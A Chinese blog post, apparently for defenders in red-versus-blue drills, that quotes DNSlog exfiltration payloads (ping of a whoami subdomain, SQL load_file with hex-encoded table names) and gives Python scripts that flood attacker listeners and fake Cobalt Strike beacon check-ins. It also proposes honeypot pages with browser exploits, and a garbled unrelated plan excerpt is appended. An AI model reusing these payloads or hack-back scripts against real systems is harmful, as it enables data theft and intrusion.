攻防演练中防守方的骚姿势

数据外带类

 

类型描述

攻击方在对一个目标进行攻击时,会有一些漏洞探测的动作。当遇到没有回显的命令执行和注入时,会采用结合dnslog的方式。

命令执行: ping xx.dnslog.com

SQL注入: load_file(CONCAT('\\', (select hex(table_name) from information_schema.tables where table_schema=database() limie 0,1), '.xx.dnslog.com'))

其它类似不一一列举

攻击发现

一般会从安全告警设备中发现,安全设备监控人员,发现类似攻击探测后,提取出攻击者使用的dnslog平台地址。

还有一些情况,看的是全流量设备。这种情况下没有告警,只能根据经验搜索了。我们可以关注一些关键词,命令执行类:pingcurlwget,SQL注入类:load_file(EXEC(EXECUTE

骚扰姿势

接下来,可以去网上找提供PING服务的网站。把上面提取出的攻击者的dnslog平台地址做为ping的目标地址,执行ping操作。

如果攻击这用的是网络上找到dnslog平台,大多情况下ping出的地址都是127.0.0.1,如果是自己搭建的dnslog平台,设置不规范的情况下会显示vps的IP。

攻击者的DNSLOG平台上面,就是这个样子了,突突突的一阵狂跳,结果没一个是他想要的。

上面这种探测只能探测是否存在漏洞,攻击方肯定想要的更多(数据外带)。

数据外带也分两种情况,一种是直接外带字符串。由于dns协议不支持部分特殊字符,所以第二种是把数据hex加密后,拼接dnslog地址外带数据。

字符串外带型骚扰

ping `whoami`.xxx.dnslog.com

加密拼接型骚扰:

当然,上面这些还略显单调。虽然产生了大量的dnslog日志,但是重复性很高,很容易就被过滤掉了。所以接下来考虑多样性。

对于字符串型,可以从网上下载一个常用用户名列表,再写个脚本读取用户名列表并调用全国ping接口大量发送dns请求。

然后就是模仿数据库常见命令返回结果的格式,伪造一些数据去发送dns请求。比如:

select version();  -> x.x.xx
select user();     -> xxxx@localhost

对于dns请求,有个坑点就是域名每两个.之间的字符个数不能超过63个。域名总长度不能超过254个字符。

 后门类

NC反弹型

当攻击者用nc反弹shell时,可以写一个脚本,使用socket库连接攻击者接收shell的主机端口。此方法可以终止攻击者接收shell的进程。

import socket
n=0
def conne(host, port):
    global n
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((host, port))
    n += 1
    print("Number", n)

while True:
    try:
        conne('127.0.0.1', 333)
    except:
        pass

CS agent

类型描述

对于CS,K8大佬写过一篇模拟CS上线的文章,参考链接在最后。

不过,我在测试过程中,发现模拟上线的请求url有所变化。

cobaltctrike是一个RAT工具,后渗透阶段的常用工具。利用时生成一个agent,在目标机执行agent使其上线,从而被攻击者长期控制。

攻击发现

CS支持多种协议,一般会使用http协议进行通信。大多数的流量安全设备都可以发现。

一个agent上线时,受害机会先发送一个GET请求,接着受害机会发送第一个心跳包,正式上线。

在需要执行命令的时候,CS控制端会把命令数据作为心跳包的响应,发送给受控端。数据包详情如下:

受害机发起 请求上线

特征:1. url路径为几个随机字符,2. 请求头有4个字段,类似如下

GET /p3xB HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: 192.168.186.133:333
Connection: Keep-Alive
Cache-Control: no-cache

受害机发起 心跳包

特征:1. url路径固定为/activity,2. 相比上面请求头,多了一个Cookie,并且Cookie值格式固定

GET /activity HTTP/1.1
Accept: */*
Cookie: cccsP3ZpLVdNmMEudr//cTM7BpJ4mELRTC0kUZ2IQllqwwNNSSCdAld/yUEyf7QqSq/6XwgPKMXjCP3Q4sbod6LfiVbMAwlM11wx2thA9taC4uoDNfkM+1/iAZ3hqgX/DYQYUlduFVqqNGjv74BHawXPaa/Iuay/4SLd8i072SU=
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727)
Host: 192.168.186.133:333
Connection: Keep-Alive
Cache-Control: no-cache

CS控制端响应 命令数据 原生ls命令

特征:1. 数据体部分为经过AES解密后的原生命令

HTTP/1.1 200 OK
Date: Thu, 1 Oct 2020 14:56:13 GMT
Content-Type: application/octet-stream
Content-Length: 48

_u.
.......5.............\*AAAAAk0...['hC..R...^

CS控制端响应 命令数据 Windows系统whoami命令

特征:1. 命令为明文并且位置固定,可直接获取

HTTP/1.1 200 OK
Date: Thu, 1 Oct 2020 15:03:13 GMT
Content-Type: application/octet-stream
Content-Length: 64

_u.....%...N.......    %COMSPEC%...
 /C whoami..AAA,.....]{A$.8....

受害机发起 命令执行结果

特征:1. url路径为/submit.php?id=19580,id值不固定。2. 命令执行结果为明文且位置固定。

POST /submit.php?id=19580 HTTP/1.1
Accept: */*
Content-Type: application/octet-stream
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727)
Host: 192.168.186.133:333
Content-Length: 52
Connection: Keep-Alive
Cache-Control: no-cache

...0............john-pc\john
\.D.e.U..r..C.$[....UV

骚扰姿势

经过测试,我们只需要发送心跳包,即可模拟上线,并且攻击者无法执行命令,只能干着急。

def heartbeat():
    url = "http://192.168.186.133:333/activity"
    headers = {
        'Cookie': 'IgyzGuIX0Jrb5Ht45ZLYKyXWBnxfkNI3m6BOvExECdWCuAv8fnY6HXKTygBOVdE34sDYusoDIjzHr/QR32mKsoVPb5NFMCHAtC7FLQUdSsZdufXjsd2dSqkGDcaZkcQYD1BssyjGSHTy42lT8oDpga3y1z5FMGRjobeksgaMX7M=',
        'Host': '192.168.186.133:333',
        'Accept': '*/*',
        'Connection': 'Keep-Alive',
        'Cache-Control': 'no-cache',
        'User-Agent': 'Mozilla/4.0  (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)'
    }
    resp = requests.get(url=url, headers=headers)
    text = resp.content.hex()
    return text

模拟上线后,攻击者执行命令的结果如下,好气┗|`O′|┛ 嗷~~:

beacon> shell ipconfig
[*] Tasked beacon to run: ipconfig
[+] host called home, sent: 114 bytes
beacon> ls
[*] Tasked beacon to list files in .
[+] host called home, sent: 19 bytes
beacon> shell whoami
[*] Tasked beacon to run: whoami
[+] host called home, sent: 37 bytes

K8大佬文章中还提到,可以收集攻击者执行的系统命令。

完整代码如下,使用时替换IP或域名、portcookie

# coding: utf-8

import re
import time
import requests

def heartbeat():
    url = "http://192.168.186.133:333/activity"
    headers = {
            'Cookie': 'IgyzGuIX0Jra5Ht45ZLYKyXWBnxfkNI3m6BOvExEPdWCuAv8fnY6HXKTygBOVdE34sDYusoDIjzHr/QR32mKsoVPb5NFMCHAtC7FLQUdSsZdufXjsd2dSqkGDcaZkcQYD1BssyjGZHTy42lT8oDpga3y1z5FMGRjobeksgaMX7M=',
            'Host': '192.168.186.133:333',
            'Accept': '*/*',
            'Connection': 'Keep-Alive',
            'Cache-Control': 'no-cache',
            'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)'
        }
    resp = requests.get(url=url,headers=headers)
    text = resp.content.hex()
    return text

x = True
while x:
    text = heartbeat()
    lengs = len(text)
    # print(lengs, "    ", text)

    if '2f4320' in text and '000041' in text:
        print(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))

        commeds = re.findall(r'2f4320(.*?)000041', text)
        for comm in commeds:
            commed = bytes.fromhex(comm).decode('utf-8')
            print(commed)
    time.sleep(5)

效果图

webshell类

有时候防守方的系统可能存在文件上传或写入漏洞,导致攻击者上传webshell后门。一旦攻击者连接成功,剩下的就是内网一把梭了。这时候防守方最方便快捷的应对方法就是删除webshell文件了,攻击者发现webshell被删后,还可以继续上传,终归不是解决方法。

 

作为防守方,可以换个思路。想办法阻止攻击者成功连接webshell才是目的,所以可以修改webshell连接密码,或者破坏webshell功能,让攻击者迷茫去吧。

ps:

不要问我为什么不暂时停机下线,修复漏洞再上线。我想做过项目的乙方兄弟都懂。

诱捕

  1. 某一应用故意留个弱口令,但是登陆需要绑定微信或者手机号,从而根据微信或者手机号溯源到攻击者身份。验证微信或者手机号时,需要注意不能让攻击者绑定任意微信或者手机号。还有就是绑定的手机号不能是接码平台的虚拟手机号。(具体代码逻辑,仁者见仁,智者见智了)

  2. 蜜罐设置一个exp向量的页面,主要使用针对Google、火狐等浏览器的已公开漏洞。当攻击者使用了存在漏洞的浏览器访问到网页时,不知不觉就上线了。当然,这种成本比较高。

 

参考:https://k8gege.org/p/40523.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
网络安全攻防演练防守案 网络安全攻防演练防守案全文共26页,当前为第1页。网络安全攻防演练防守案全文共26页,当前为第1页。 网络安全攻防演练防守案全文共26页,当前为第1页。 网络安全攻防演练防守案全文共26页,当前为第1页。 目录 1、攻防演习概述 2 1.1.攻防演习背景 2 1.2.攻击角度看防守 2 1.3.演习防守法论 3 2.组织及职责分工 4 2.1.攻防演习组织 4 2.2职责分工 5 2.3.各阶段工作任务 6 3.防守工作案 9 3.1.第一阶段:准备阶段 9 3.1.1.防守案编制 10 3.1.2.防守工作启动 10 3.1.3.重要工作开展 10 3.2.第二阶段:安全自查和整改阶段 11 3.2.1.网络安全检查 11 3.2.2.主机安全检查 12 3.2.3.应用系统安全检查 12 3.2.4.运维终端安全检查 13 3.2.5.日志审计 13 3.2.6.备份效性检查 14 3.2.7.安全意识培训 14 3.2.8.安全整改加固 15 3.3.第三阶段:攻防预演习阶段 15 3.3.1.预演习启动 15 3.3.2.授权及备案 16 3.3.3.预演习平台 16 3.3.4.预演习攻击 16 3.3.5.预演习防守 17 3.3.6 预演习总结 18 3.4 第四阶段:正式防护阶段 18 3.4.1.安全事件实监测 19 3.4.2.事件分析与处置 19 3.4.3.防护总结与整改 19 4.演习组织及工作计划 20 4.1.演习工作单位和组织分工 20 4.1.1.明确参演单位 20 4.1.2.演习工作组织架构 20 4.1.3.演习工作职责分工 20 4.2.初步工作计划 21 5.流量安全监测分析系统部署 23 6.主机加固实施 25 网络安全攻防演练防守案全文共26页,当前为第2页。网络安全攻防演练防守案全文共26页,当前为第2页。1、攻防演习概述 网络安全攻防演练防守案全文共26页,当前为第2页。 网络安全攻防演练防守案全文共26页,当前为第2页。 1.1.攻防演习背景 网络安全实战攻防演习(以下简称"攻防演习")是以获取目标系统的最高控制权为目标,由多领域安全专家组成攻击队,在保障业务系统安全的前提下,采用"不限攻击路径,不限制攻击手段"的攻击式,而形成的"有组织"的网络攻击行为。 攻防演习通常是在真实环境下对参演单位目标系统进行可控、可审计的网络安全实战攻击,通过攻防演习检验参演单位的安全防护和应急处置能力,提高网络安全的综合防控能力。 近几年我国较大规模的攻防演习主要包括公安机关组织的针对关键信息基础设施的攻防演习、各部委组织的对各省和直属单位重要系统的攻防演习和大型企业组织的对下属单位重要系统的攻防演习。其,公安部组织的"护网行动"是面向国家重要信息系统和关键信息基础设施的网络安全实战演习,通过实战网络攻击的形式检验我国关键信息基础设施安全防护和应急处置能力,"护网行动"已开展了3年,取得了十分显著的效果,督促各单位有效提升了网络安全防护水平。 1.2.攻击角度看防守攻防演习,为充分检验参演单位及目标系统的安全防护、监测和应急处置能力,演习组织通常选择由经验丰富的安全专家组成攻击队开展网络攻击,在确保不影响业务的前提下,选择一切可利用的资源和手段,采用多变、灵活、隐蔽的攻击力求取得最大战果参演单位作为防守,面对"隐蔽"的网络攻击,如何才能有效防御呢?"知彼知己,百战不殆",只有了解攻击是如何开展攻击的,才能根据攻击特点建立完善的安全防护体系,有效抵御网络攻击攻击方在组织入侵攻击,通常首先制定攻击策略、规划攻击线路,攻击者分工合作,力争在短间内取得最大战果,常见的攻击步骤为信息收集、漏洞分析、渗透攻击和后渗透攻击 网络安全攻防演练防守案全文共26页,当前为第3页。网络安全攻防演练防守案全文共26页,当前为第3页。1.3.演习防守法论 网络安全攻防演练防守案全文共26页,当前为第3页。 网络安全攻防演练防守案全文共26页,当前为第3页。 "护网"行动的防护应是基于"战"的防护工作模式,根据护网行动要求,防守攻击,同防守设计了加分事宜,基于我司长期积累的攻击攻击路径和攻击手段,我司建议采用在主动防御架构下,建立基于可持续监测分析和响应的协同防护模式,分成事前阶段、事阶段和候阶段。 事前阶段是针对护网行动的前期准备阶段,重点是协助客户模式"护网"进行实战预演习,旨在发现隐患、检验防护和协同应急处置流程,同协助客户减少被攻击面,开展专项安全检测,重点针对"攻击"可能利用的安全漏洞进行安全检测,并提供安全建议。客户要基于已有的安全运营工作,进一步加强网络安全策

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值